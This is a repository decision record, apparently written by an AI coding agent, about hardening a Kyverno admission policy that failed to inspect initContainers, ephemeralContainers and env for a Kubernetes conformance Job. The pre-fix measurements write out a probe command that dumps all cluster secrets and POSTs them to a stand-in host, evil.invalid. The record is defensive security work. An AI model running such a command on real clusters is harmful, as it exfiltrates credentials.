home-network-k3s-impl/decisions/2026-09-29-conformance-job-template.md

date, branch, title

date	branch	title
2026-09-29	feat/conformance-job-template	The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`

What changed

Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 (repo at the commit under test) and 3 (results collection with no exec channel). conformance/incluster/chainsaw-job.yaml was a skeleton whose workspace was an empty emptyDir with nothing to fill it; it is now a renderable run template. Along the way the admission policy that is supposed to bound that Job turned out to read spec.template.spec.containers and nothing else, and closing that took four more rules and moved the clone script out of the Job entirely.

Note on where this entry lives. This handoff was originally written as a ~400-line append to the tail of DECISIONS-LOG.md. That append is what made PR #20 unmergeable — four of the five open PRs collided on that one hunk. The prose below is the same content, moved to its own file under decisions/; the archive is untouched.

The binding constraint, and how it was met

platform/kyverno/admission/conformance-trigger-job-shape.yaml (Enforce, failurePolicy: Fail) admits only workspace and results as volume names. So the git credential could not be a Secret volume and the init container could not have a scratch volume:

• Credential: env vars from secretKeyRef on Secret conformance-git-readonly (username, token) — an env var is not a volume. By name only; no literal in the tree. The token reaches git through an inline credential.helper that reads the environment, so it never appears in argv (where ps and the Pod spec would show it) and is never written to disk.
• Writable scratch under readOnlyRootFilesystem: true: $TMPDIR=/workspace/tmp and $HOME=/workspace/home, i.e. directories on the workspace emptyDir. Not subPath mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could not write it.
• results could not be mounted at conformance/_artifacts: that path sits inside the clone target, and a directory mounted into it makes the target non-empty, so git clone refuses. Hence CONF_ARTIFACTS=/results (new, honoured only when set).

The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches onto it, and asserts HEAD equals the requested SHA. The SHA must match ^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip happened to be.

Results out of the Job with no exec channel

The trigger identity has no pods/exec and cannot kubectl cp, and admission pins command to exactly ["./run.sh"] — so nothing can wrap the suite to package artifacts afterwards. run.sh therefore does it itself, on an EXIT trap (a failed run still ships its red JUnit — that is the evidence the gate most needs), armed only by CONF_EMIT_ARTIFACTS_TGZ=1:

=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
<base64 of the tgz, wrapped at 76 columns>
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===

kubectl logs is a lossy channel (--tail, a rotated CRI log, a dropped watch), and base64 decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and digest appear in both markers and the collector owes five checks, each documented above the function.

THE FINDING: the admission boundary did not look at initContainers

Every rule read spec.template.spec.containers (rule 1's pattern, rule 3's containers[0].args) or volumes (rule 2). initContainers was never examined, and neither were ephemeralContainers or env. So the precise escalation the policy exists to stop — the privileged conformance-runner SA running an arbitrary command, because Kubernetes places no use check on serviceAccountName — was reachable one field over. This predated this branch: the gap was there when the policy shipped in PR #13, and a Job with no init container at all could already have carried one.

It was initially left unfixed, deliberately — a security boundary changes in its own reviewed PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the finding independently and reversed that instruction explicitly, on the grounds that the ban existed to stop the boundary being bent to fit a Job, not to stop a hole being closed. So the policy gained four rules in this branch:

• trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer; it must be on the digest-pinned conformance-runner image, command: ["/usr/local/bin/conformance-clone"], no args, non-root, allowPrivilegeEscalation: false, not privileged.
• trigger-may-not-declare-ephemeral-containers — the third container list. See the honesty note under "What I did NOT verify".
• trigger-env-names-must-be-the-committed-set — runner container: CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR, HOME. Clone init container: CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC, GITEA_USERNAME, GITEA_TOKEN, TMPDIR, HOME. command is pinned, so injection moves to whatever adjacent field nobody enumerated, and BASH_ENV alone is arbitrary code execution — bash sources it before running a non-interactive script, and the runner's command IS a bash script. The init list iterates initContainers[].env[] flattened, so it keeps working if the at-most-one cap is ever relaxed.
• trigger-may-not-use-envfrom — envFrom injects a whole ConfigMap/Secret whose KEYS are nowhere in the Job, which would make the allowlist above unenforceable by inspection.

All four use deny conditions, not a pattern. A Kyverno array pattern asserts "at least one element matches", so a pattern-based init rule would have admitted the committed clone step plus an arbitrary second init container — the same hole rule 2's own comment describes for volumes. second-initcontainer is a fixture precisely because I nearly wrote it that way.

Deliberately NOT constrained: env values, and which Secret a valueFrom reads. Values are legitimately environment-specific, and conformance-runner can already read this namespace's Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that matters, because a name is what a program keys behaviour on. Constraining env values remains undone.

The clone script left the Job — that is the actual fix

Pinning command is worthless if the command is /bin/bash -c and the script arrives as args: a policy cannot distinguish the committed script from an attacker's, because both are just data. The logic now lives in the runner image at /usr/local/bin/conformance-clone (mode 0755 — added to plan §5 step 1 as a hard requirement), sourced from conformance/incluster/conformance-clone, which agent 1 ships in PR #18. The Job's init container is now command + env and nothing else.

I had written a second copy of that script here (conformance/incluster/conformance-clone.sh) and deleted it: two copies of the clone entrypoint in one directory, one baked into the image and one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent 1's version before deleting mine rather than assuming compatibility, and the interface my Job depends on matches exactly: env CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN; baked clone target /workspace/src (which is what makes my workingDir: /workspace/src/conformance correct); TMPDIR/HOME required to be under /workspace; and both load-bearing guards preserved — the ^[0-9a-f]{40}$ SHA guard and the rev-parse HEAD == SHA assertion. Theirs is a superset: it also hard-fails a CONFORMANCE_REPO_URL/CONFORMANCE_SRC that disagrees with the baked values, rather than honouring it.

One thing that changed while moving it, and it matters: the repository URL is hardcoded in the script instead of passed as CONFORMANCE_REPO_URL env. The policy pins command but says nothing about env values. Had the URL stayed live in env, a trigger could point the clone at a repository it controls and have containers[0] execute that repo's ./run.sh as conformance-runner — the same escalation, laundered through a field nobody constrains. Do not move that URL back into env. Worth recording that agent 1 reached the hardcoded-URL conclusion independently and against an instruction to read those values from env — an instruction the coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so trusting it just moves the injection" reasoning in one afternoon is the signal that the field-enumeration gap was systemic, not a one-off.

The committed args default was a shape that cannot run

Agent 1 measured that --layer all --strict-coverage and a bare --requirements <IDs> fail on the runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and run.sh runs its offline L0/L1 stages first for any selection that is not offline-only. I traced run.sh to state the invariant precisely rather than repeat the symptom — requirement_scoped_dirs() is layer-bounded only when --layer is given and is not all, and offline_selected_dirs() then filters to /l0-static/|/l1-rendering/:

args	offline selection	verdict
--layer l2,l3	empty	RUNS
--layer l2,l3 --requirements R-NET-01	intersected to L2/L3	RUNS
--layer l2,l3 --include-scope whole-repo	scope union is also layer-bounded	RUNS
--requirements R-NET-01 (no --layer)	that requirement's L0/L1 tests	FAILS
--layer all --strict-coverage	every L0/L1 test	FAILS

So --layer is mandatory and must name only l2/l3. The committed default was --layer all --strict-coverage — one of the broken shapes — and is now --layer l2,l3. More importantly: the plan's "PHASE EXIT: --layer all" invocation cannot run in-cluster at all. A full-suite run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest header and still needs to land in ci/conformance.sh (plan §3 item 4).

I did not narrow the policy's args allowlist to match. A security boundary should not encode which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was considered rather than missed.

What I verified

Admission, proven with the pinned CLI rather than assumed

kyverno v1.19.0 in the pinned toolbox, kyverno apply against the rendered template:

##### the real rendered template MUST PASS
Applying 7 policy rule(s) to 1 resource(s)...
pass: 7, fail: 0, warn: 0, error: 0, skip: 0

##### the coordinator's exact initContainer probe MUST FAIL
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
pass: 6, fail: 1, warn: 0, error: 0, skip: 0

##### same escalation via ephemeralContainers MUST FAIL
1 - trigger-may-not-declare-ephemeral-containers ...
pass: 6, fail: 1, warn: 0, error: 0, skip: 0

The pre-fix measurements that produced the finding, taken the same way with containers[0] fully compliant and serviceAccountName: conformance-runner:

• a privileged: true docker.io/library/alpine:latest initContainer running kubectl get secrets -A → pass: 3, fail: 0 — ADMITTED
• the committed template with only the init container's args swapped for kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/ → pass: 3, fail: 0 — ADMITTED

Negative controls on the same rendered template, showing the original rules do bite where they look: adding a third volume → trigger-volumes-must-be-workspace-or-results fails; wrapping command in /bin/sh -c → trigger-may-create-only-the-committed-conformance-run fails at /spec/template/spec/containers/0/command/.

Full fixture matrix from kyverno apply --policy-report — 65 pass / 13 fail / 0 error / 0 skip:

resource	creat	vols	args	init	ephem	envnm	envfr
real-template	pass	pass	pass	pass	pass	pass	pass
good-run	pass	pass	pass	—	pass	—	pass
evil-command	fail	pass	—	—	pass	—	pass
evil-image	fail	pass	—	—	pass	—	pass
tag-not-digest	fail	pass	—	—	pass	—	pass
host-namespaces	fail	pass	—	—	pass	—	pass
extra-volume	pass	fail	—	—	pass	—	pass
injected-args	pass	pass	fail	—	pass	—	pass
evil-initcontainer	pass	pass	pass	fail	pass	—	pass
initcontainer-with-args	pass	pass	pass	fail	pass	—	pass
second-initcontainer	pass	pass	pass	fail	pass	—	pass
evil-ephemeral-container	pass	pass	pass	—	fail	—	pass
injected-env	pass	pass	pass	—	pass	fail	pass
injected-initcontainer-env	pass	pass	pass	pass	pass	fail	pass
envfrom-whole-secret	pass	pass	pass	—	pass	—	fail

— is "no result", not a pass: a foreach over an absent list emits nothing. Every evil-* init/ephemeral/env case passes the three original rules — that is the whole finding in one column, and it is why the fixtures are worth more than the rules' prose. injected-initcontainer-env is the row worth staring at: it passes the initContainer rule — correct image, correct pinned command, no args, non-root — and is hostile purely through env. That is why env had to be its own rule and not a condition bolted onto the init rule.

The rendered template is now a fixture (real-template in platform/kyverno/tests/conformance-trigger/resources.yaml), so a template that drifts out of admission fails make -C ci l0 instead of failing at 2am.

How strong that evidence is — the kyverno test load trap

ci/l0.sh records, and this branch is downstream of, the lesson that kyverno test exits 0 and prints "N tests passed" even when a policy FAILS TO LOAD — every row becomes Skip / Invalid Policy. That trap was measured while authoring this very policy: a subjects block in a separate match.all entry from its resources gave 9 rows of Skip / Invalid Policy and Test Summary: 9 tests passed and 0 tests failed.

So the proofs above are deliberately quoted from kyverno apply, whose report carries explicit error: and skip: counts, and those counts are 0 in every run cited. A green kyverno test alone — or the green l0 line in the gate below — would not on its own establish that these rules loaded; ci/l0.sh greps the output for Invalid Policy for exactly that reason. Read the error: 0, skip: 0 in the numbers above, not the exit code.

Two further limits on what a CLI pass proves:

• kyverno apply evaluates these rules with or without --userinfo — the extra-volume control fails either way. A CLI pass is evidence about the patterns, not about the subjects filter that decides whether the rules apply at all. The claim in kyverno-test.yaml's header that userinfo is what makes the cases non-trivial holds for kyverno test, not for kyverno apply.
• Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not admission in the cluster.

Two Kyverno traps, both of which silently invert the result

Both are now commented in the rules:

• not_null(x, default), never ||. JMESPath treats false as falsy, so element.securityContext.allowPrivilegeEscalation || `true` rewrites the compliant value false into true and denies every good Job.
• join(' ', command) compared as a string, not the array compared with Equals. Kyverno's Equals/NotEquals are not dependable on arrays, and an element-wise match would let ["/bin/sh","-c",…] through on element 0.

The results envelope

Verified locally, not asserted: full decode round-trips to a valid tar; tail-truncation and head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails check 5. Exit-code preservation through the EXIT trap was tested for 0, an explicit exit 3, and a set -e abort — the envelope's rc= matched the process rc in all three. The envelope is verified; its transport over kubectl logs from a real Pod is not.

Gate

Toolbox only (DEV_KUBECONFIG=/dev/null + an ENGINE shim bind-mounting the main checkout's .git, per CLAUDE.md §3):

diff base: origin/main @ c59fe9f923c4 ... HEAD @ <this branch>
touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
spec-immutability: green
decisions-log: green   (archive frozen, sha256 matches decisions/ARCHIVE.sha256;
                        2 entries well-formed — this one included)
lint: green            (404 files)
l0: green              (kyverno test passed, no 'Invalid Policy'; 19 offline cases,
                        0 failures, 0 skips, 0 unwired)
render-golden: green   (10 onboarded service goldens reproduce)
l1: green              (3 offline L0/L1 checks, 0 failures, 0 skips, 0 unwired)
gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED
  Stages that did not run: gitea-settings
rc 3

Nothing FAILED. rc 3 is UNDETERMINED, not green — gitea-settings did not run, so this run says nothing about Gitea's branch protection or runner registration, and the seven touched requirements above are explicitly not certified at L2/L3. gate.yml tolerates rc 3, which is itself a fail-open surface recorded elsewhere. The branch was rebased onto main at c59fe9f, i.e. after PR #24 merged, so ci/decisions-log.sh is in the base and did run: it reports the archive frozen (DECISIONS-LOG.md sha256 matches decisions/ARCHIVE.sha256) and both decisions/ entries well-formed. This entry's format is therefore checked by the stage that enforces it, not only by eye — though that stage checks structure, never whether any claim inside it is true.

The approval-policy check this PR was expected to fail does not exist

I was briefed to expect CI to FAIL on an approval-policy check because conformance/** is security-relevant. That check does not exist. Measured rather than assumed:

grep -rn approval .gitea/workflows/     ->  no match
GET /repos/.../branches/main
  protected                    True
  user_can_push                False
  enable_status_check          True
  status_check_contexts        ['gate / gate (pull_request)']
  required_approvals           1
GET /repos/.../commits/<head>/statuses
  success   gate / gate (pull_request)          Successful in 1m36s
  pending   gate / conformance (pull_request)   Blocked by required conditions

The only required context is gate / gate, and it was GREEN at 1m36s — it genuinely ran, so that particular green is not the skipped-Gitea-job-reports-success trap. There is no path-based approval policy in CI anywhere in this repo. What actually stops this merging is required_approvals: 1 plus the fact that gitea-admin authors every agent PR and cannot self-approve — the same control that returned HTTP 405 on PR #12. gate / conformance is "Blocked by required conditions", i.e. the CLUSTER_AVAILABLE guard, unchanged.

Consequence worth acting on: a change under conformance/** — including a change to the admission boundary itself — is gated by a generic human approval, not by anything that knows the path is security-relevant. If the intent is "security-relevant paths get a stricter review", that policy is not implemented anywhere in this repo. CODEOWNERS-style path review or a paths:-scoped required check would be the mechanism; neither exists today.

The PR was not merged and nothing was worked around.

Process note, worth more than the policy fix

Both halves of the security finding came from probing rather than reading. The hole was not visible in the policy's prose — which is careful, accurate about what it does constrain, and explicit that it is "THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. A policy is only as trustworthy as its negative fixtures.

Addendum — rebased onto main after #18 landed (2026-09-29)

This branch originally appended its handoff to DECISIONS-LOG.md, which is why it was mergeable: false: every branch appended to that file's same last hunk. The append is now this file (see decisions/README.md).

The rebase onto post-#18 main hit one real content conflict — conformance/incluster/README.md, where #18 and this branch had each rewritten the same bullet list. Resolved by keeping #18's Containerfile / conformance-clone / build-image.sh bullets and this branch's chainsaw-job.yaml bullet, since this branch is what makes the Job a rendered run template.

One of #18's paragraphs had to be rewritten rather than kept: its conformance-clone bullet carried a blockquote saying "This file is half a fix … a 4th policy rule demanding command: ["/usr/local/bin/conformance-clone"] with no args … is not in this branch." That rule is in this branch — trigger-initcontainers-must-be-the-committed-clone-step, plus the ephemeralContainers and env/envFrom rules beside it. Leaving #18's wording would have left main documenting an open hole that had just been closed, which is the same documentation-disagrees-with-mechanism failure this repo keeps hitting. No code changed in the rebase: every file but that README is byte-identical to the pre-rebase tip.

What I did NOT verify

• Nothing here has ever executed against a cluster. The conformance-runner image does not exist (plan §3 item 1), so the Job cannot be submitted, and the init container's clone/fetch/assert sequence, the credential helper and the envelope-over-kubectl-logs path are all unexercised. The envelope itself is verified; its transport is not.
• PR #18 has since merged (cac5c9f), so /usr/local/bin/conformance-clone and the image are now on main and this branch was rebased onto them. What that changes is only availability: if the path were missing or named differently the init container would fail to start, and if the image is not the pinned digest admission denies the Job. Neither has been exercised — no image has been built or pushed, so the digest this branch pins still resolves to nothing.
• Secret conformance-git-readonly does not exist (plan §3 item 6, operator action). Only its name is referenced here.
• uid 65532 is asserted by the Job's runAsUser/fsGroup; the image that must provide it has not been built. If the Containerfile picks a different uid, the Job will not start.
• Whether Gitea's uploadpack accepts fetch origin <sha> for a non-tip commit was not tested; the shallow-clone-then-fetch fallback assumes it does. If it does not, the HEAD == SHA assertion turns that into a loud failure rather than a wrong-tree run.
• Whether the API server accepts ephemeralContainers inside a Job's pod template at all. Upstream the field is settable only through the pods/ephemeralcontainers subresource and ValidatePodCreate rejects it on Pods, but that check does not obviously apply to a pod template nested in a Job, and I found no definitive answer. Establishing it needs a create --dry-run=server, i.e. a mutating request, which CLAUDE.md §5 reserves to the operator — so I did not run one. The rule was added anyway: it is a no-op if upstream already rejects the field, and it is the same hole again if it does not. "Probably rejected upstream" is not a boundary. If someone with cluster-write access wants to settle it, that is a one-command check; the rule should stay either way.
• The subjects filter on these rules is unproven. kyverno apply evaluates the patterns with or without --userinfo, so nothing above establishes that the rules actually match only the trigger identity in a live admission request.
• Admission was never exercised by a real API server — only by kyverno apply against manifests. A policy that a CLI accepts can still behave differently once installed.
• env values and the valueFrom source Secret are unconstrained by design, so the hardening there is deliberately partial, not complete.
• The env allowlists are derived from what the two programs read TODAY. If run.sh or the clone entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a reviewed change. That is the intended failure direction, but it is a coupling the next person editing either script needs to know about, so it is called out in the rule's message.
• ci/conformance.sh still runs the suite locally and is untouched (plan §3 item 4). This branch changes nothing about what CI does today.
• The gate run was rc 3, UNDETERMINED — not green. gitea-settings did not run. The L2/L3 conformance stages did not run (CLUSTER_AVAILABLE unset), so nothing here is evidence about runtime behaviour.
• ci/decisions-log.sh passing says nothing about this entry's accuracy. It asserts the frozen archive's digest, the filename/frontmatter agreement and the presence of three non-stub sections. Whether the measurements quoted above are real is not, and cannot be, checked by it.